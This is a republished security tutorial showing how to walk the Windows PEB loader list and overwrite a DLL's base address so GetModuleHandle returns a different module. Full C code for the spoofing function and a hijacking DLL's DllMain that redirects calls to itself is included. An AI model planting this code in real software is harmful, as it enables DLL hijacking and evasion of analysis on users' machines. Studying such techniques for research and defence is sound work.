In the previous article, we took a first look at PEB and figured out how to replace command line arguments.
Continuing to understand PEB, let’s consider another way to influence the execution of a program, and try to replace a function called from a DLL.
Let’s imagine a classic application that uses a function from a dynamically loaded library:
#include "Windows.h"
int main()
{
LoadLibraryW(L"OrigDll.dll");
(GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))();
}
Let’s write a simple library that exports the function foo1:
extern "C" __declspec(dllexport) void foo1() {
MessageBoxA(NULL, "Orig", "Orig", MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
In the normal course of execution we get the expected result:
Let’s load the application into IDA Pro and see how the address of the function foo1 is obtained
Let’s set a breakpoint
Let’s connect to the debugger and find the kernelbase_GetModuleHandleW function from kernelbase.dll in the loaded modules:
Let’s move on to implementing this function
Here you can see that if NULL is passed to the function, the ImageBaseAddress of the current application from the PEB is returned, which hints at the possibility of modifying the PEB to replace the address of the desired library.
Otherwise, the ntdll_LdrGetDllHandle function is called.
Let’s move on to implementing this function in ntdll.dll:
Here we see that LdrGetDllHandleEx is used, the implementation of which in the source code was in the file ldrapi.c
Let’s turn to sources ReactOS, which, although not a copy of Windows, largely replicates the implementation of system functions.
From this we can see that the function uses the value LDR_DATA_TABLE_ENTRY, which in turn is located in the PEB.
Now, having confidence that changing the PEB will affect the mechanism for working with DLLs, let’s imagine a situation in which the application ended up with 2 DLLs with the same exported functions
The simplest option looks like this:
int main()
{
LoadLibraryW(L"OrigDll.dll");
LoadLibraryW(L"SecondLibrary.dll");
(GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))();
(GetProcAddress(GetModuleHandleW(L"SecondLibrary.dll"),"foo1"))();
}
We get the expected result in the form of sequential calls of both functions:
Now let’s get to the fun part.
Let’s try to replace the dll address received by the GetModuleHandle function.
First, let’s define all the necessary data types and a macro for converting a string to lowercase:
#ifndef TO_LOWERCASE
#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
#endif
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages : 1; //0x3
UCHAR IsProtectedProcess : 1; //0x3
UCHAR IsImageDynamicallyRelocated : 1; //0x3
UCHAR SkipPatchingUser32Forwarders : 1; //0x3
UCHAR IsPackagedProcess : 1; //0x3
UCHAR IsAppContainer : 1; //0x3
UCHAR IsProtectedProcessLight : 1; //0x3
UCHAR IsLongPathAwareProcess : 1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
} PEB, * PPEB;
In order to independently find the addresses of loaded modules, we implement access to PEB_LDR_DATA.
We get the PEB address:
PPEB peb = NULL;
peb = (PPEB)__readgsqword(0x60);
We get the PEB_LDR_DATA address:
_PEB_LDR_DATA* ldr = peb->Ldr;
In this structure, we are interested in the InLoadOrderModuleList of type LIST_ENTRY, which is a doubly linked list of loaded modules:
LIST_ENTRY list = ldr->InLoadOrderModuleList;
In order to find the required module in the list of loaded ones, we will compare the name of the module with the one we are looking for:
PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
PLDR_DATA_TABLE_ENTRY curr_module = Flink;
while (curr_module != NULL && curr_module->BaseAddress != NULL) {
if (curr_module->BaseDllName.Buffer == NULL) continue;
WCHAR* curr_name = curr_module->BaseDllName.Buffer;
size_t i = 0;
for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
WCHAR c1, c2;
TO_LOWERCASE(c1, module_name[i]);
TO_LOWERCASE(c2, curr_name[i]);
if (c1 != c2) break;
}
if (module_name[i] == 0 && curr_name[i] == 0) {
//found
}
curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
}
Great, we learned how to find a module in PEB. Now, if the module is found, let’s replace its BaseAddress and at the same time check whether it matches the result of GetModuleHandle.
As a result, we get a function for replacing the DLL address:
BOOL spoofDllHandle(WCHAR* module_name, LPVOID newHandle)
{
PPEB peb = NULL;
peb = (PPEB)__readgsqword(0x60);
_PEB_LDR_DATA* ldr = peb->Ldr;
LIST_ENTRY list = ldr->InLoadOrderModuleList;
PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
PLDR_DATA_TABLE_ENTRY curr_module = Flink;
while (curr_module != NULL && curr_module->BaseAddress != NULL) {
if (curr_module->BaseDllName.Buffer == NULL) continue;
WCHAR* curr_name = curr_module->BaseDllName.Buffer;
size_t i = 0;
for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
WCHAR c1, c2;
TO_LOWERCASE(c1, module_name[i]);
TO_LOWERCASE(c2, curr_name[i]);
if (c1 != c2) break;
}
if (module_name[i] == 0 && curr_name[i] == 0) {
curr_module->BaseAddress = newHandle;
if (GetModuleHandleW(module_name) == newHandle)
return TRUE;
return FALSE;
}
curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
}
return FALSE;
}
What should we do about it?
Let’s imagine a situation where the second DLL loaded is malicious. This often happens when the application is vulnerable to DLL hijacking.
In the second DLL in DllMain we implement a call to the function of replacing the address of the original library with a malicious one:
wchar_t toSpoofName[] = L"OrigDll.dll";
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
if (spoofDllHandle(toSpoofName, hModule))
{
MessageBoxW(NULL, L"SUCCESS!", L"SPOOFED", MB_OK);
}
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
As a result, if the library is loaded, the original address will be replaced with ours, and a MessageBox will pop up:
And then the function from the malicious library will be called:
Moreover, now when calling a function that is implemented only in a malicious library, referring to the original one, we will receive a call:
#include "Windows.h"
int main()
{
LoadLibraryW(L"OrigDll.dll");
LoadLibraryW(L"SecondLibrary.dll");
(GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"foo1"))();
(GetProcAddress(GetModuleHandleW(L"OrigDll.dll"),"newFunc"))();
}
Such DLL substitution can serve as an alternative way to proxy functions, as well as the simplest protection of your own library from dynamic analysis, in the event of substitution of the address of the library itself.
We have already described two ways of manipulating PEB, but there are still a huge number of them, which we will definitely tell you about someday!
We remind you that hacking is an illegal activity and is only permissible in the case of penetration testing in agreement with the customer.
Subscribe to our telegram channel AUTHORITY.
Acknowledgement and Usage Notice
The editorial team at TechBurst Magazine acknowledges the invaluable contribution of the author of the original article that forms the foundation of our publication. We sincerely appreciate the author’s work. All images in this publication are sourced directly from the original article, where a reference to the author’s profile is provided as well. This publication respects the author’s rights and enhances the visibility of their original work. If there are any concerns or the author wishes to discuss this matter further, we welcome an open dialogue to address potential issues and find an amicable resolution. Feel free to contact us through the ‘Contact Us’ section; the link is available in the website footer.